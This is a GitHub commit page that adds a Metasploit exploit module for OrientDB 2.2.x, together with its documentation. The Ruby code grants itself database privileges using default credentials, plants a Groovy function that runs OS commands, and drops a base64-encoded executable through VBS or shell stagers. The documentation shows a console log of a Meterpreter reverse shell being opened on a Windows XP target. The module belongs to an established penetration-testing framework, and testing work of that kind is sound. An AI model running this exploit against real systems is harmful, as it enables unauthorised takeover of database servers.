Skip to content

Commit 7535fe2

Browse files
committed
land rapid7#8736 RCE for orientdb
2 parents 4acef04 + e7aa06c commit 7535fe2

File tree

2 files changed

+348
-0
lines changed

2 files changed

+348
-0
lines changed
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
2+
3+
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
4+
5+
The module is based on the public PoC found here: [securiteam](https://blogs.securiteam.com/index.php/archives/3318)
6+
7+
## Vulnerable Application
8+
OrientDB 2.2.2 <= 2.2.22
9+
10+
## Installation
11+
Download a vulnerable OrientDB version here: [orientdb](http://orientdb.com/download-previous/)
12+
13+
```
14+
wget http://orientdb.com/download.php?file=orientdb-community-2.2.20.zip&os=multi
15+
unzip orientdb-community-2.2.20.zip
16+
chmod 755 bin/*.sh
17+
chmod -R 777 config
18+
cd bin
19+
./server.sh
20+
```
21+
22+
## References for running OrientDB
23+
24+
[Install](http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Installation.html)
25+
26+
[Run](http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Run-the-server.html)
27+
28+
## References for vulnerability
29+
30+
[securiteam](https://blogs.securiteam.com/index.php/archives/3318)
31+
[palada](http://www.palada.net/index.php/2017/07/13/news-2112/)
32+
[github](https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017)
33+
34+
## Verification Steps
35+
36+
1. Start `msfconsole`
37+
2. `use exploit/multi/http/orientdb_exec`
38+
3. `set rhost <RHOST>`
39+
4. `set target <TARGET_NUMBER>`
40+
5. `set workspace <WORKSPACE>`
41+
6. `check`
42+
7. **Verify** if the OrientDB instance is vulnerable
43+
8. `run`
44+
9. **Verify** you get a session
45+
46+
## Example Output
47+
48+
### OrientDB 2.2.20 on Windows XP
49+
50+
```
51+
msf > use exploit/multi/http/orientdb_exec
52+
msf exploit(orientdb_exec) > set rhost 2.2.2.2
53+
rhost => 2.2.2.2
54+
msf exploit(orientdb_exec) > set target 2
55+
target => 2
56+
msf exploit(orientdb_exec) > check
57+
58+
[+] Version: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
59+
[+] 2.2.2.2:2480 The target is vulnerable.
60+
msf exploit(orientdb_exec) > set verbose true
61+
verbose => true
62+
msf exploit(orientdb_exec) > exploit
63+
64+
[*] Started reverse TCP handler on 1.1.1.1:4444
65+
[*] 2.2.2.2:2480 - Sending command stager...
66+
[*] Attempting to execute: echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACTOPDW11mehddZnoXXWZ6FrEWShdNZnoVURZCF3lmehbhGlIXcWZ6FuEaahdRZnoXXWZ+FHlmehVRRw4XfWZ6Fg3quhf9ZnoUQX5iF1lmehVJpY2jXWZ6FAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQAWNfbSQAAAAAAAAAA4AAPAQsBBgAAsAAAAKAAAAAAAAByMQAAABAAAADAAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAAAAAAAGABAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbMcAAHgAAAAAUAEAyAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAODBAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAADgAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABmqQAAABAAAACwAAAAEAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA5g8AAADAAAAAEAAAAMAAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAFxwAAAA0AAAAEAAAADQAAAAAAAAAAAAAAAAAABAAADALnJzcmMAAADIBwAAAFABAAAQAAAAEAEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\aAqsZ.b64
67+
[*] Command Stager progress - 2.01% done (2046/101881 bytes)
68+
[*] Attempting to execute: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\aAqsZ.b64
69+
[*] Command Stager progress - 4.02% done (4092/101881 bytes)
70+
```
71+
72+
...snip...
73+
74+
```
75+
[*] Attempting to execute: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATkIxMAAAAAA2gMFKAQAAAEM6XGxvY2FsMFxhc2ZccmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=>>%TEMP%\aAqsZ.b64 & echo Set fs = CreateObject("Scripting.FileSystemObject") >>%TEMP%\uFLQh.vbs & echo Set file = fs.GetFile("%TEMP%\aAqsZ.b64") >>%TEMP%\uFLQh.vbs & echo If file.Size Then >>%TEMP%\uFLQh.vbs & echo Set fd = fs.OpenTextFile("%TEMP%\aAqsZ.b64", 1) >>%TEMP%\uFLQh.vbs & echo data = fd.ReadAll >>%TEMP%\uFLQh.vbs & echo data = Replace(data, vbCrLf, "") >>%TEMP%\uFLQh.vbs & echo data = base64_decode(data) >>%TEMP%\uFLQh.vbs & echo fd.Close >>%TEMP%\uFLQh.vbs & echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("%TEMP%\tIzcO.exe", 2, True) >>%TEMP%\uFLQh.vbs & echo ofs.Write data >>%TEMP%\uFLQh.vbs & echo ofs.close >>%TEMP%\uFLQh.vbs & echo Set shell = CreateObject("Wscript.Shell") >>%TEMP%\uFLQh.vbs
76+
[*] Command Stager progress - 98.40% done (100252/101881 bytes)
77+
[*] Attempting to execute: echo shell.run "%TEMP%\tIzcO.exe", 0, false >>%TEMP%\uFLQh.vbs & echo Else >>%TEMP%\uFLQh.vbs & echo Wscript.Echo "The file is empty." >>%TEMP%\uFLQh.vbs & echo End If >>%TEMP%\uFLQh.vbs & echo Function base64_decode(byVal strIn) >>%TEMP%\uFLQh.vbs & echo Dim w1, w2, w3, w4, n, strOut >>%TEMP%\uFLQh.vbs & echo For n = 1 To Len(strIn) Step 4 >>%TEMP%\uFLQh.vbs & echo w1 = mimedecode(Mid(strIn, n, 1)) >>%TEMP%\uFLQh.vbs & echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>%TEMP%\uFLQh.vbs & echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>%TEMP%\uFLQh.vbs & echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>%TEMP%\uFLQh.vbs & echo If Not w2 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>%TEMP%\uFLQh.vbs & echo If Not w3 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>%TEMP%\uFLQh.vbs & echo If Not w4 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>%TEMP%\uFLQh.vbs & echo Next >>%TEMP%\uFLQh.vbs & echo base64_decode = strOut >>%TEMP%\uFLQh.vbs & echo End Function >>%TEMP%\uFLQh.vbs & echo Function mimedecode(byVal strIn) >>%TEMP%\uFLQh.vbs & echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>%TEMP%\uFLQh.vbs & echo If Len(strIn) = 0 Then >>%TEMP%\uFLQh.vbs & echo mimedecode = -1 : Exit Function >>%TEMP%\uFLQh.vbs & echo Else >>%TEMP%\uFLQh.vbs & echo mimedecode = InStr(Base64Chars, strIn) - 1 >>%TEMP%\uFLQh.vbs & echo End If >>%TEMP%\uFLQh.vbs & echo End Function >>%TEMP%\uFLQh.vbs & cscript //nologo %TEMP%\uFLQh.vbs & del %TEMP%\uFLQh.vbs & del %TEMP%\aAqsZ.b64
78+
[*] Command Stager progress - 100.00% done (101881/101881 bytes)
79+
[*] Sending stage (956991 bytes) to 2.2.2.2
80+
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:1422) at 2017-10-06 14:00:14 -0400
81+
82+
meterpreter > sysinfo
83+
Computer : WINXP
84+
OS : Windows XP (Build 2600, Service Pack 3).
85+
Architecture : x86
86+
System Language : en_US
87+
Domain : GROUP
88+
Logged On Users : 2
89+
Meterpreter : x86/windows
90+
meterpreter >
91+
```
Lines changed: 257 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,257 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = GoodRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::CmdStager
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'OrientDB 2.2.x Remote Code Execution',
15+
'Description' => %q{
16+
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
17+
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
18+
},
19+
'Author' =>
20+
[
21+
'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
22+
'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' =>
26+
[
27+
['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
28+
['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
29+
['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']
30+
],
31+
'Platform' => %w{ linux unix win },
32+
'Privileged' => false,
33+
'Targets' =>
34+
[
35+
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
36+
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
37+
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]
38+
],
39+
'DisclosureDate' => 'Jul 13 2017',
40+
'DefaultTarget' => 0))
41+
42+
register_options(
43+
[
44+
Opt::RPORT(2480),
45+
OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),
46+
OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),
47+
OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])
48+
])
49+
end
50+
51+
def check
52+
uri = target_uri
53+
uri.path = normalize_uri(uri.path)
54+
res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
55+
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
56+
print_good("Version: #{res.headers['Server']}")
57+
return Exploit::CheckCode::Vulnerable
58+
else
59+
print_status("Version: #{res.headers['Server']}")
60+
return Exploit::CheckCode::Safe
61+
end
62+
end
63+
64+
def http_send_command(cmd, opts = {})
65+
# 1 -Create the malicious function
66+
func_name = Rex::Text::rand_text_alpha(5).downcase
67+
request_parameters = {
68+
'method' => 'POST',
69+
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
70+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
71+
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
72+
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
73+
}
74+
res = send_request_raw(request_parameters)
75+
if not (res and res.code == 201)
76+
begin
77+
json_body = JSON.parse(res.body)
78+
rescue JSON::ParserError
79+
fail_with(Failure::Unknown, 'Failed to create the malicious function.')
80+
return
81+
end
82+
end
83+
# 2 - Trigger the malicious function
84+
request_parameters = {
85+
'method' => 'POST',
86+
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
87+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
88+
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
89+
'data' => ""
90+
}
91+
req = send_request_raw(request_parameters)
92+
if not (req and req.code == 200)
93+
begin
94+
json_body = JSON.parse(res.body)
95+
rescue JSON::ParserError
96+
fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
97+
return
98+
end
99+
end
100+
# 3 - Get the malicious function id
101+
if res && res.body.length > 0
102+
begin
103+
json_body = JSON.parse(res.body)["@rid"]
104+
rescue JSON::ParserError
105+
fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
106+
return
107+
end
108+
end
109+
func_id = json_body.slice(1..-1)
110+
# 4 - Delete the malicious function
111+
request_parameters = {
112+
'method' => 'DELETE',
113+
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
114+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
115+
'headers' => { 'Accept' => '*/*' },
116+
'data' => ""
117+
}
118+
rer = send_request_raw(request_parameters)
119+
if not (rer and rer.code == 204)
120+
begin
121+
json_body = JSON.parse(res.body)
122+
rescue JSON::ParserError
123+
fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
124+
return
125+
end
126+
end
127+
end
128+
129+
def java_craft_runtime_exec(cmd)
130+
decoder = Rex::Text.rand_text_alpha(5, 8)
131+
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
132+
cmd_array = Rex::Text.rand_text_alpha(5, 8)
133+
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
134+
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
135+
jcode << "String [] #{cmd_array} = new String[3];\n"
136+
if target['Platform'] == 'win'
137+
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
138+
jcode << "#{cmd_array}[1] = \"/c\";\n"
139+
else
140+
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
141+
jcode << "#{cmd_array}[1] = \"-c\";\n"
142+
end
143+
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
144+
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
145+
jcode
146+
end
147+
148+
def on_new_session(client)
149+
if not @to_delete.nil?
150+
print_warning("Deleting #{@to_delete} payload file")
151+
execute_command("rm #{@to_delete}")
152+
end
153+
end
154+
155+
def execute_command(cmd, opts = {})
156+
vprint_status("Attempting to execute: #{cmd}")
157+
@uri = target_uri
158+
@uri.path = normalize_uri(@uri.path)
159+
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
160+
if res && res.code == 200 && res.body.length > 0
161+
begin
162+
json_body = JSON.parse(res.body)["databases"]
163+
rescue JSON::ParserError
164+
print_error("Unable to parse JSON")
165+
return
166+
end
167+
else
168+
print_error("Timeout or unexpected response...")
169+
return
170+
end
171+
targetdb = json_body[0]
172+
http_send_command(cmd,targetdb)
173+
end
174+
175+
def linux_stager
176+
cmds = "echo LINE | tee FILE"
177+
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
178+
base64 = Rex::Text.encode_base64(exe)
179+
base64.gsub!(/\=/, "\\u003d")
180+
file = rand_text_alphanumeric(4+rand(4))
181+
execute_command("touch /tmp/#{file}.b64")
182+
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
183+
base64.each_line do |line|
184+
line.chomp!
185+
cmd = cmds
186+
cmd.gsub!(/LINE/, line)
187+
execute_command(cmds)
188+
end
189+
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
190+
execute_command("chmod +x /tmp/#{file}")
191+
execute_command("rm /tmp/#{file}.b64")
192+
execute_command("/tmp/#{file}")
193+
@to_delete = "/tmp/#{file}"
194+
end
195+
196+
def exploit
197+
@uri = target_uri
198+
@uri.path = normalize_uri(@uri.path)
199+
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
200+
if res && res.code == 200 && res.body.length > 0
201+
begin
202+
json_body = JSON.parse(res.body)["databases"]
203+
rescue JSON::ParserError
204+
print_error("Unable to parse JSON")
205+
return
206+
end
207+
else
208+
print_error("Timeout or unexpected response...")
209+
return
210+
end
211+
targetdb = json_body[0]
212+
privs_enable = ['create','read','update','execute','delete']
213+
items = ['database.class.ouser','database.function','database.systemclusters']
214+
# Set the required DB permissions
215+
privs_enable.each do |priv|
216+
items.each do |item|
217+
request_parameters = {
218+
'method' => 'POST',
219+
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
220+
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
221+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
222+
'headers' => { 'Accept' => '*/*' },
223+
'data' => "GRANT #{priv} ON #{item} TO writer"
224+
}
225+
res = send_request_raw(request_parameters)
226+
end
227+
end
228+
# Exploit
229+
case target['Platform']
230+
when 'win'
231+
print_status("#{rhost}:#{rport} - Sending command stager...")
232+
execute_cmdstager(flavor: :vbs)
233+
when 'unix'
234+
print_status("#{rhost}:#{rport} - Sending payload...")
235+
res = http_send_command("#{payload.encoded}","#{targetdb}")
236+
when 'linux'
237+
print_status("#{rhost}:#{rport} - Sending Linux stager...")
238+
linux_stager
239+
end
240+
handler
241+
# Final Cleanup
242+
privs_enable.each do |priv|
243+
items.each do |item|
244+
request_parameters = {
245+
'method' => 'POST',
246+
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
247+
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
248+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
249+
'headers' => { 'Accept' => '*/*' },
250+
'data' => "REVOKE #{priv} ON #{item} FROM writer"
251+
}
252+
res = send_request_raw(request_parameters)
253+
end
254+
end
255+
end
256+
end
257+

0 commit comments

Comments
 (0)